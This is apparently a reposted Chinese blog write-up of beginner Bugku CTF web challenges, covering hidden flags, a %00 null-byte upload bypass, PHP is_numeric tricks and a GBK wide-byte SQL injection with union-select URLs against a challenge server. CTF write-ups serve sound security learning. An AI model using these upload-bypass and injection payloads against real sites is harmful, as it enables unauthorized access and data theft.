bugku web题1~8 write up

第一次写博


web2

打开网页是一个不断加快的动画,没有特别的线索。
右键查看元素,结果flag就在body注释里,如图:

ps:感觉这题收获不大,也许可以理解一下这题的js代码,就当是学js了


文件上传测试

测试:需要上传php文件才能得到flag,但是只允许上传图片文件
思路:使用%00截断上传文件
流程:构造文件名为1.php.jpg的文件上传用burp抓包(如图):
如图:
修改文件名:在.php之后加上%00截断,进行url解码还原为空字符,提交得到flag
解码前:这里写图片描述解码后:这里写图片描述


计算器

打开网页显示界面如下:
这里写图片描述
尝试输入答案,发现表单输入长度为1
思路:通过元素修改输入框的maxlenth属性,输入计算结果提交,得到flag。(如图)
这里写图片描述


web基础$_GET

打开页面得到以下代码:

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

简单来说就是通过get传入参数:what=flag
得到flag


web基础$_POST

打开页面得到以下代码:

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

解析:通过get传入参数:what=flag
得到flag(post传参可使用火狐插件hackbar)


矛盾

打开页面得到以下代码:

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

代码解析:

函数:is_numeric()

is_numeric() — 检测变量是否为数字或数字字符串
语法:bool is_numeric ( mixed $var )
如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE。

逻辑:

通过get传入参数num,要得到flag,num不能是数字或数字字符串,且num==1
很明显两个条件是矛盾的

思路:

通过科学计数法表示1,因为科学计数法不是纯数字又可以等于一。
php科学计数法格式:系数e+指数
例: 1000==1e+3 1234=1.234e+3 1=1e+0
传入num=1e+0 得到flag


web3

打开页面不断出现弹框,禁用弹框后,查看元素。
发现script标签里有这样一行代码:

<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->

感觉是unicode编码:尝试解码(可用站长工具,网上直接搜就行)
解码得到flag

这里有一个疑问:
&# + 十进制 和 &#x + 十六进制 似乎都是表示unicode编码
额,我是这样理解的,不知道对不对


sql注入

打开页面如图:
这里写图片描述
要求查询key表,id=1的string字段
测试:单引号 双引号 返回正常,应该进行了转义,查看网页元素发现使用gb2312编码
那就尝试一下宽字节注入:

http://103.238.227.13:10083/?id=1%bf‘–+
http://103.238.227.13:10083/?id=1%bf’ and 1=1–+
http://103.238.227.13:10083/?id=1%bf’ and 1=2–+

不加注释报错,加注释返回正常,存在逻辑判断,存在注入
判断字段数:

http://103.238.227.13:10083?id=1%bf’ order by 2–+

判断回显点:

http://103.238.227.13:10083?id=0%bf’ union select 1,2–+

查数据库:

http://103.238.227.13:10083?id=0%bf’ union select database(),2–+
数据库:sql5

结合题目获取flag:

http://103.238.227.13:10083?id=0%bf’ union select string,2 from sql5.key–+
得到flag

猜你喜欢

转载自blog.csdn.net/w0ryitang/article/details/80066076